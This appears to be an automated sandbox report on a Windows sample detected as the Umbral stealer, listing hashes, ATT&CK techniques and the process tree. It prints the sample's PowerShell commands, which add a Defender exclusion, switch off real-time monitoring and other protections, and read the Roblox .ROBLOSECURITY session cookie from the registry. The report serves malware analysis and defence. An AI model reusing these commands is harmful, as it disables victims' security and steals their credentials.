umbral | f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22d

Analysis

max time kernel
93s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16-01-2025 03:45

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General

Target

f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe
Size

231KB
MD5

6b1466bbf3d206c9a9851a6b5626dc70
SHA1

d9039fe892d5f6da31462eb577f9377f359031d2
SHA256

f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22d
SHA512

77777aff4d363334409d8b0b47c2006aff5c904641892ecba3038a0be755e3ac70c63d413e251baf185e7d4d47f38fd1ff2f5e75cbffbc44de22c3abbf2f4cef
SSDEEP

6144:xloZMffsXtioRkts/cnnK6cMltMMjw2xpaBPyAxVkElb8e1mhzLHi:DoZdtlRk83MltMMjw2xpaBPyAxVkAMW

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/556-1-0x000001BC1F460000-0x000001BC1F4A0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2040	powershell.exe
2176	powershell.exe
608	powershell.exe
376	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2308	wmic.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe
2040	powershell.exe
2040	powershell.exe
2176	powershell.exe
2176	powershell.exe
608	powershell.exe
608	powershell.exe
3192	powershell.exe
3192	powershell.exe
376	powershell.exe
376	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe
Token: SeIncreaseQuotaPrivilege	4984	wmic.exe
Token: SeSecurityPrivilege	4984	wmic.exe
Token: SeTakeOwnershipPrivilege	4984	wmic.exe
Token: SeLoadDriverPrivilege	4984	wmic.exe
Token: SeSystemProfilePrivilege	4984	wmic.exe
Token: SeSystemtimePrivilege	4984	wmic.exe
Token: SeProfSingleProcessPrivilege	4984	wmic.exe
Token: SeIncBasePriorityPrivilege	4984	wmic.exe
Token: SeCreatePagefilePrivilege	4984	wmic.exe
Token: SeBackupPrivilege	4984	wmic.exe
Token: SeRestorePrivilege	4984	wmic.exe
Token: SeShutdownPrivilege	4984	wmic.exe
Token: SeDebugPrivilege	4984	wmic.exe
Token: SeSystemEnvironmentPrivilege	4984	wmic.exe
Token: SeRemoteShutdownPrivilege	4984	wmic.exe
Token: SeUndockPrivilege	4984	wmic.exe
Token: SeManageVolumePrivilege	4984	wmic.exe
Token: 33	4984	wmic.exe
Token: 34	4984	wmic.exe
Token: 35	4984	wmic.exe
Token: 36	4984	wmic.exe
Token: SeIncreaseQuotaPrivilege	4984	wmic.exe
Token: SeSecurityPrivilege	4984	wmic.exe
Token: SeTakeOwnershipPrivilege	4984	wmic.exe
Token: SeLoadDriverPrivilege	4984	wmic.exe
Token: SeSystemProfilePrivilege	4984	wmic.exe
Token: SeSystemtimePrivilege	4984	wmic.exe
Token: SeProfSingleProcessPrivilege	4984	wmic.exe
Token: SeIncBasePriorityPrivilege	4984	wmic.exe
Token: SeCreatePagefilePrivilege	4984	wmic.exe
Token: SeBackupPrivilege	4984	wmic.exe
Token: SeRestorePrivilege	4984	wmic.exe
Token: SeShutdownPrivilege	4984	wmic.exe
Token: SeDebugPrivilege	4984	wmic.exe
Token: SeSystemEnvironmentPrivilege	4984	wmic.exe
Token: SeRemoteShutdownPrivilege	4984	wmic.exe
Token: SeUndockPrivilege	4984	wmic.exe
Token: SeManageVolumePrivilege	4984	wmic.exe
Token: 33	4984	wmic.exe
Token: 34	4984	wmic.exe
Token: 35	4984	wmic.exe
Token: 36	4984	wmic.exe
Token: SeDebugPrivilege	2040	powershell.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	608	powershell.exe
Token: SeDebugPrivilege	3192	powershell.exe
Token: SeIncreaseQuotaPrivilege	5064	wmic.exe
Token: SeSecurityPrivilege	5064	wmic.exe
Token: SeTakeOwnershipPrivilege	5064	wmic.exe
Token: SeLoadDriverPrivilege	5064	wmic.exe
Token: SeSystemProfilePrivilege	5064	wmic.exe
Token: SeSystemtimePrivilege	5064	wmic.exe
Token: SeProfSingleProcessPrivilege	5064	wmic.exe
Token: SeIncBasePriorityPrivilege	5064	wmic.exe
Token: SeCreatePagefilePrivilege	5064	wmic.exe
Token: SeBackupPrivilege	5064	wmic.exe
Token: SeRestorePrivilege	5064	wmic.exe
Token: SeShutdownPrivilege	5064	wmic.exe
Token: SeDebugPrivilege	5064	wmic.exe
Token: SeSystemEnvironmentPrivilege	5064	wmic.exe
Token: SeRemoteShutdownPrivilege	5064	wmic.exe
Token: SeUndockPrivilege	5064	wmic.exe
Token: SeManageVolumePrivilege	5064	wmic.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 556 wrote to memory of 4984	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	83
PID 556 wrote to memory of 4984	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	83
PID 556 wrote to memory of 2040	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	86
PID 556 wrote to memory of 2040	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	86
PID 556 wrote to memory of 2176	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	88
PID 556 wrote to memory of 2176	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	88
PID 556 wrote to memory of 608	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	90
PID 556 wrote to memory of 608	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	90
PID 556 wrote to memory of 3192	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	92
PID 556 wrote to memory of 3192	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	92
PID 556 wrote to memory of 5064	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	94
PID 556 wrote to memory of 5064	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	94
PID 556 wrote to memory of 5044	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	98
PID 556 wrote to memory of 5044	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	98
PID 556 wrote to memory of 2056	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	100
PID 556 wrote to memory of 2056	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	100
PID 556 wrote to memory of 376	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	102
PID 556 wrote to memory of 376	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	102
PID 556 wrote to memory of 2308	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	104
PID 556 wrote to memory of 2308	556	f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe	104

C:\Users\Admin\AppData\Local\Temp\f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe
"C:\Users\Admin\AppData\Local\Temp\f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:556
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\f40fdb9a6d6ce049437de3aabf212a6ce2eaaaf48bd478d691164c5ea32dc22dN.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3192
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5064
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:5044
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:376
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2308

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
28ef595a6cc9f47b8eccb22d4ed50d6c

SHA1
4335de707324b15eba79017938c3da2752d3eea5

SHA256
3abd14d4fe7b5697b2fa84993e7183f4fd2580be5b4e5150da15ddda5a9560b9

SHA512
687b7849faa62a4dabc240b573afa163f0cda9a80be61cebe28ef1461777744d73b465ac92d065093228068540846e79c899445057f5b906f9b9fa9868132208

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d3235ed022a42ec4338123ab87144afa

SHA1
5058608bc0deb720a585a2304a8f7cf63a50a315

SHA256
10663f5a1cb0afe5578f61ebaae2aafb363544e47b48521f9c23be9e6e431b27

SHA512
236761b7c68feca8bd62cba90cff0b25fac5613837aaa5d29ae823ace8b06a2057553cf7e72b11ccc59b6c289e471ca1bbac1a880aef5e2868875371a17c1abf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ec79fae4e7c09310ebf4f2d85a33a638

SHA1
f2bdd995b12e65e7ed437d228f22223b59e76efb

SHA256
e9c4723a5fe34e081c3d2f548a1d472394cc7aa58056fcf44ca542061381243a

SHA512
af9dda12f6bb388d826fe03a4a8beed9bda23a978aa55a2af6a43271660ee896a7ee3bcf2c4d2f1e6180902791d8c23560f1c2ec097a501d8c6f4f6c49075625

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q4qzporn.fs1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/556-71-0x000001BC39C70000-0x000001BC39C7A000-memory.dmp

Filesize
40KB

Download
memory/556-34-0x000001BC39C30000-0x000001BC39C4E000-memory.dmp

Filesize
120KB

Download
memory/556-93-0x00007FF9D97A0000-0x00007FF9DA261000-memory.dmp

Filesize
10.8MB

Download
memory/556-92-0x000001BC398A0000-0x000001BC399A2000-memory.dmp

Filesize
1.0MB

Download
memory/556-2-0x00007FF9D97A0000-0x00007FF9DA261000-memory.dmp

Filesize
10.8MB

Download
memory/556-32-0x000001BC39CB0000-0x000001BC39D26000-memory.dmp

Filesize
472KB

Download
memory/556-33-0x000001BC39D80000-0x000001BC39DD0000-memory.dmp

Filesize
320KB

Download
memory/556-72-0x000001BC39D30000-0x000001BC39D42000-memory.dmp

Filesize
72KB

Download
memory/556-1-0x000001BC1F460000-0x000001BC1F4A0000-memory.dmp

Filesize
256KB

Download
memory/556-0-0x00007FF9D97A3000-0x00007FF9D97A5000-memory.dmp

Filesize
8KB

Download
memory/2040-4-0x00007FF9D97A0000-0x00007FF9DA261000-memory.dmp

Filesize
10.8MB

Download
memory/2040-11-0x0000028875DD0000-0x0000028875DF2000-memory.dmp

Filesize
136KB

Download
memory/2040-5-0x00007FF9D97A0000-0x00007FF9DA261000-memory.dmp

Filesize
10.8MB

Download
memory/2040-3-0x00007FF9D97A0000-0x00007FF9DA261000-memory.dmp

Filesize
10.8MB

Download
memory/2040-18-0x00007FF9D97A0000-0x00007FF9DA261000-memory.dmp

Filesize
10.8MB

Download